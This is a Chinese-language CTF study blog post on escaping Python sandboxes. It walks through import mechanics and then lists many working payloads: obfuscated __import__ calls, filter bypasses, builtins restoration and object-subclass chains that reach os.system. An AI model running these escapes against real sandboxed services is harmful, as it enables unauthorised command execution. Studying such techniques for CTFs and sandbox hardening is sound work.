python沙箱逃逸
python沙箱逃逸
在国赛线下赛遇到了python沙箱逃逸的题目,之前在python这块接触的不是很多,这篇文章算是对python沙箱逃逸进行了学习,对着网上师傅的文章进行了复现和学习。文章链接放在文章末了。
一、关于沙箱逃逸
我们先了解一下什么是沙箱?
沙箱是一种安全机制,用于隔离和限制应用程序或代码的行为。它创建了一个受限的环境,以防止恶意代码对系统造成损害。沙箱通常用于执行不受信任的代码,如浏览器中的JavaScript或其他不受信任的应用程序。它们限制了代码的权限和访问能力,以确保其不能对底层系统或其他应用程序造成危害。
所以说沙箱逃逸就是要突破沙箱,绕过各种过滤和限制,最终可以执行系统任意命令,写文件或者读取文件。
二、如何沙箱逃逸
导入模块
我们先了解一下python导入模块的机制:
导入模块时,Python首先检查sys.modules
字典,以确定是否已经加载了该模块。sys.modules
是一个全局字典,它用于缓存已导入的模块,其中键是模块名,值是对应的模块对象。如果模块已经在sys.modules
中,Python会直接使用缓存的模块对象,而不会重新加载该模块
如果模块没有在sys.modules
中,则Python会按照一定的顺序在sys.path
列表中的目录中查找模块文件。sys.path
是一个包含目录路径的列表,用于指定Python解释器在哪些位置查找模块文件。默认情况下,sys.path
包括当前目录、Python安装路径、Python标准库路径、以及其他用户定义的路径
找到模块文件后,Python会加载它并执行其中的代码。在执行模块文件时,模块的全局命名空间会被创建,并在其中定义函数、类、变量等。执行完成后,Python会将模块对象添加到sys.modules
字典中,以便下次导入时直接使用缓存的模块对象
当使用import a
时,只有模块a
会添加至sys.modules
中,并导入到当前命名空间。但是,如果在a.py
中存在import b
语句,那么在导入模块a
时,Python会先检查b
是否已经在sys.modules
中,如果已经存在,则直接使用缓存的模块对象。否则,Python会继续按照上述步骤查找并加载b
模块。
当使用from x import y
时,只有模块x
会添加至sys.modules
中,并导入到当前命名空间。这里的y
是x
模块中定义的函数、类、变量等。而不会将y
添加至sys.modules
中,只有x
模块会添加。
下面是我们一一些导入方式:
1 | import xxx |
在python命令执行中我们最经常导入的就是os模块
os模块中提供了许多用于处理文件系统,路劲,进程管理登操作的函数
我们经常通过导入os模块进行命令执行
1 | import os |
我们这里其实就是调用os模块中的system方法调用操作系统的命令行解释器来执行我们给定的命令
那么最简单沙箱就是直接将import os给禁止了
但是这样的也很好绕过,我们可以通过多加空格的方式绕过
1 | import os |
这就是一个简单的沙箱逃逸例子
当然这种情况可以通过把空格也给ban掉、
但是在python中可以进行导入并不是只有import
我们还可以通过__import__
、importlib
1 | __import__('os') |
在 Python 中,import
语句的本质就是执行一遍导入的模块(库)。
那么这个过程我们可以通过其他方法来实现
execfile()
1 | execfile(filename, globals=None, locals=None) |
这里使用execfile()函数可以直接在当前 Python 程序中执行指定的 Python 文件。它会读取文件中的代码,并在当前命名空间中执行这些代码。因此,文件中定义的函数、类、变量等将会在执行后在当前程序中可用
那我们不就可以通过它去实现import导入模块的功能
示例:
my_module.py
1 | # my_module.py |
main.py
1 | # main.py |
当然我们也可以通过这种方法导入os模块
1 | execfile('/usr/lib/python2.7/os.py') |
但是这种方法只能在python2中使用python3中删除了这个函数
但是我们可以通过这种方式来实现
1 | import builtins |
当然我们也可以通过这种方法导入os模块进行命令执行
1 | with open('/usr/lib/python3.11/os.py','r') as f: |
这种方法实在python2和python3中都适用的
获取库的路径:
1 | import sys |
当然这种情况下,sys杯ban了我们还可以使用importlib
模块
1 | import importlib |
各种过滤
过滤字符串
上面是我们关于导入模块的一些手法,在沙箱环境中,为了避免用户执行命令或者其他操作,通常会把一些命令或者命令执行,文件操作函数这些字符串给禁止掉
例如在一些沙箱中,如果匹配到os,会直接不让运行,那么这种情况我们就可以通过变化字符来使用os
1 | __import__('so'[::-1]).system('dir') |
这样来通过一个例子来进行演示:
1 | import os |
可以看到我们成功突破了沙箱的限制
当然我们也可以使用拼接的方法
1 | b = 'o' |
当然我们也可以逆序配合eval和exec来使用
1 | eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1]) |
当然这是一些基本的逃逸方式,对于python沙箱逃逸来说,php的字符过滤绕过方式同样适用
逆序,拼接,编码等等这些都可以应用于沙箱逃逸
这里还以os被过滤为例:
1 | __import__(base64.b64decode('b3M=').decode('utf-8')).system('dir') |
我们通过格式化字符串表示整个paylaod:
1 | __import__(os).system('dir') |
但是这里直接执行时不行的,因为我们这样构造出来的其实是一个字符串形式的代码,所以为了实现字符串 'os.system("dir")'
的执行,需要使用 eval()
函数。eval()
函数将字符串作为Python表达式进行解析和执行,并且返回表达式的结果
那这种方式我们几乎所有的字符串都可以构造
过滤[]
这就是很常规的过滤了
我们可以将[]用pop或者__getitem__
代替
1 | ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read() |
过滤引号
chr()
1 | os.system(chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)) |
利用str和[]拼接字符
1 | os.system(str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3] |
当然str被过滤,我们可以使用type(‘’)()、format
在 Python 中,type
是一个内置函数,可以用于创建新的类型或查看对象的类型。当 type
函数只传入一个参数时,它会返回该参数的类型。但是,当 type
函数传入三个参数时,它会返回一个新的类型对象,其中第一个参数是类型的名称,第二个参数是基类(继承的父类),第三个参数是一个包含类的属性和方法的字典。
1 | # 构造一个空的字符串实例 |
格式化字符串
这个在我们上面过滤字符串就有应用了
1 | (chr(37)+str({}.__class__)[1])%100 == 'd' |
dict
1 | 'whoami' |
过滤数字
1 | 0:int(bool([]))、Flase、len([])、any(()) |
过滤空格
我们可以通过(),[]替换掉
1 | [i for i in range(10) if i == 5] |
这里应该编码可以绕过,类似于php上面的空格绕过手法
sys.modules恢复
我们上面说sys.modules是一个字典,里面储存了加载过的模块信息,在python启动的时候,解释器会自动加载一些默认模块例如os、sys、math等,但是我们不能够直接使用,sys.modules未经inport加载的模块对当前空间是不可见的,但是我们可以通过 sys.modules
来使用如 sys.modules[“os”]
那么经过上面我们那么多种绕过对os的过滤方法,那我们可不可以直接把os模块给删除了,这样攻击者就不能调用os模块来进行命令执行
但是这样真的行吗?我们来尝试一下
1 | import sys |
上面我们用的是替换模块值,那我们这里直接用del删除了试试
1 | import sys |
运行结果:
根据运行结果我们可以看到我们用了del sys.modules[‘os’] 命令可以执行成功
我们上面说了,当import导入一个模块时,会先检查sys,modules里面是否已经有这个模块,如果有则不加载,如果没有则会为这个模块创建module对象并加载这个模块
所有我们通过del删除模块,只会让python在导入一次
命令执行
在沙箱中最常见的就是把一下命令执行方法或者模块给ban掉。
这种我们在php中也很常见,我们在php中的绕过方法就是使用其他的命令执行函数
在python中同样存在很多可以进行命令执行和文件操作的方法
1 | os.system('whoami') |
除了用其他命令执行函数来代替我们还可以使用getattr
拿到对象的方法、属性
我们这里先简单了解一下这个函数
getattr()
是一个内置函数,用于获取对象的属性值。它接受三个参数:对象、属性名和可选的默认值。当对象拥有指定的属性时,getattr()
返回该属性的值;如果对象没有该属性,则可以提供默认值作为返回值。
语法:
1 | getattr(object, name[, default]) |
object
: 要获取属性的对象。name
: 属性名,一个字符串,表示要获取的属性的名称。default
(可选): 如果对象没有指定的属性,则返回这个默认值。
示例代码:
1 | person = {'name': 'John', 'age': 30} |
那么基于这种特性我们可以获取模块中的属性或者方法
1 | import os |
即使import被过滤我们仍然可以使用
1 | getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami') |
那么这样的话,我们也可以通过这个手法来逃逸对import有限制的沙箱
内置模块的应用
在上面我们通过getattr函数去获取模块中的属性或者方法,当import被禁用了,我们这里是通过getattr方法获取到__builtins__
中的import。
但是我们可以发现我们在使用__builtins_
并没有导入,这是因为在python中,有很多函数不需要任何import导入就可以使用。
这是因为python中存在一种内置模块,包含了一下常用的内置函数,和工具,在python解释器刚启动的时候内置模块就会自动加载
并且其中的内置功能会被添加到全局命名空间中,使得我们可以直接在任何地方使用,无需额外导入。
然后我们这里了解一下__builtins__
builtins
__builtin__
__builtins__
是一个在 Python 启动时创建的特殊变量,它是一个字典,它包含了所有内置的函数、异常和异常工具。在python解释器刚启动的时候,__builtins__
模块会自动加载,并且其中的内置功能会被添加到全局命名空间中,使得我们可以直接在任何地方使用,无需额外导入,存在于python2和python3中。
builtins
是 Python 3 中的内置模块,包含了所有内置的函数、异常和常用工具。在 Python 3 中,你可以使用 import builtins
来导入 builtins
模块,并使用 builtins
来访问其中的内置功能。
__builtin__
是 Python 2 中的内置模块,与 Python 3 中的 builtins
扮演相同的角色。它包含了所有内置的函数、异常和常用工具。
关于三者的具体描述和区别可以参考这篇文章
https://blog.51cto.com/xpleaf/1764849
我们通过遍历可以看到__builtins__
中有很多内置函数
1 | for name in dir(__builtins__): |
可以看到在这里面存在__import__
、eval这些危险函数
但是因为__builtins__
是一个模块,所有我们如果想要调用里面的函数,我们需要通过__dict__
属性
- 内置的数据类型没有
__dict__
属性 - 每个类有自己的
__dict__
属性,就算存着继承关系,父类的__dict__
并不会影响子类的__dict__
- 对象也有自己的
__dict__
属性,包含self.xxx
这种实例属性
哪这样的话我们就可以通过__builtins__
进行命令执行
1 | __builtins__.__dict__['__import__']('os').system('whoami') |
那么这样我们可以看到这个内置模块的存在很多危险函数
那么一些环境为了安全就会把这是内置模块中的危险方法给删除掉
1 | del __builtins__.__dict__['__import__'] |
但是我们可以通过重写导入内建模块,从而恢复这些内置方法
1 | imp.reload(__builtins__) |
利用继承关系构造逃逸链进行逃逸
在python中允许多重继承,当一个类继承多哥父类的时候,可能存在同名方法,为了确定方法的调用顺序。python使用mro算法来决定使用那个父类的方法
mro就是方法解析顺序,我们可以通过查看类的__mro__
属性或者调用.mro来查看类的方法解析顺序。
示例代码:
1 | class A: |
在 Python 中,类的实例可以通过 __class__
属性来获取其对应的类。这个属性指向创建该实例的类。同时,Python 3 中新式类默认继承 object
类,因此几乎所有的类都是 object 的子类
以下是关于 __class__
、__base__
和 __bases__
的一些说明:
__class__
属性:这是一个指向类的引用,通过实例可以获取其所属的类。__base__
属性:__base__
是 Python 2 中的特性,它指向类的直接父类。在 Python 3 中不再使用__base__
属性。__bases__
属性:__bases__
是 Python 2 和 Python 3 中共有的属性,它是一个元组,包含了类的所有父类。对于新式类,__bases__
中的第一个元素一定是object
类。
object的子类导入危险模块
如果object的子类导入了危险模块,那我们就可以链式调用危险方法
那么我们如何利用他进行沙箱逃逸呢?
我们这里还以os为例:
os模块被禁止导致我们不能够直接导入os模块进行使用,但是site库里面有os,那我们就可与通过site库调用os
那么只要我们能够引入site,那么我们就可以使用os
当然,site也可能会被禁用
但是正如我们在内置模块中的应用一样,我们可以通过reload重新导入,加载os
我们上面说了,所有类都继承于object类
那我们可以通过__subclasses__
查看他的子类
那我们这里先构造获取到object类
1 | [].__class__.__base__ |
然后我们就可以看它的子类:
1 | for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i |
我们可以看到site也在里面
我们上边分析了可以通过site调用os模块
那我们这里就可以构造逃逸链获取到os模块
这里只有site的方法,那我们可以使用__globals__
获取全局变量从而获得os
我们这里使用site._Printer为例来获得os
我们可以通过其全局变量__globals__
获取os模块
__globals__
是函数所在的全局命名空间中所定义的全局变量。也就是只要是函数就会有这个属性。除了 builtin_function_or_method
或者是 wrapper_descriptor
、method-wrapper
类型的函数,例如 range
、range.__init__
、''.split
等等
那我们这里可以先看一下里面有哪些函数或者方法:
1 | import site |
我们可以通过内置函数或者这些存在site._Printer里面的函数调用__globals__
属性获得os
那我们这里就可以构造逃逸链获得os:(python2中可用,py3.x 中已经移除了这里 __globals__
)
1 | ''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].system('dir') |
那么通过这种逃逸链我们就可以得到os模块
当然不只是这一种:
warnings(python2)
1 | import warnings |
我们可用通过多重寻找的方法获取os
同样的我们的继承链构造为:
1 | [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami') |
除了linecache,warnings里面还有一一个函数warnings.catch_warnings
里面有_module属性
构造逃逸链POC:
1 | [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami') |
但是上面说的都是在python2中才能使用,python 3warnings
中的linecache
被删除了
所有我们无法使用上面的方法
但是在python3中有__builtins__
而且还存在一个os._wrap_close
那么我们就可用构造逃逸链:
1 | ''.__class__.__mro__[-1].__subclasses__()[139].__init__.__globals__['system']('whoami') |
object子类导入危险方法
如果object的的子类导入了危险方法,那我们就可以调用子类的危险方法
例如object的子类builtin_function_or_method中导入了__call__
方法
构造逃逸链:
1 | python3 |
利用异常逃逸
1 | hack = lambda : [0][1] |
这一部分参考文章上面是写了,但是我本地并没有复现成功
利用format
1 | "{0.__class__.__base__}".format([]) |
分析:
"{0.__class__.__base__}".format([])
: 这个代码将一个空列表[]
作为参数传递给format
方法,然后使用{}
来进行字符串格式化。在这里,0
表示参数列表的第一个元素,也就是空列表[]
。__class__
是获取对象的类,而__base__
则是获取类的基类。因此,这个代码的结果是输出list
类的基类,也就是object
。"{x.__class__.__base__}".format(x=[])
: 这个代码与第一个类似,只是使用了命名参数x
来表示传递的空列表[]
。在这里,x
对应传递的参数,即空列表[]
。因此,这个代码的结果同样是输出list
类的基类,也就是object
。"{.__class__.__base__}".format([])
: 这个代码中使用了.
来表示格式化的位置,表示传递的参数在格式化字符串之外。在这里,空列表[]
是作为参数传递给format
方法,而.
则表示使用该参数进行格式化。因此,这个代码的结果同样是输出list
类的基类,也就是object
。("{0.__class_"+"_.__base__}").format([])
: 这个代码的逻辑与第一个相同,只是字符串拼接使用了字符串连接符_
。由于在{}
内不能直接使用_
,所以需要分开写。结果同样是输出list
类的基类,也就是object
。
构造思路
在参考文章上面,有一个很好的总结,这里借用一下:
以下是构造逃逸链的思路:
1 | 思路一:如果object的某个派生类中存在危险方法,就可以直接拿来用 |
然后文章上面也给出了获得poc的代码:
1 | #!/usr/bin/env python |
参考文章:
https://hosch3n.github.io/2020/08/27/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/
- 标题: python沙箱逃逸
- 作者: GTL-JU
- 创建于: 2023-07-20 20:08:52
- 更新于: 2023-07-20 20:17:28
- 链接: https://gtl-ju.github.io/2023/07/20/python沙箱逃逸/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。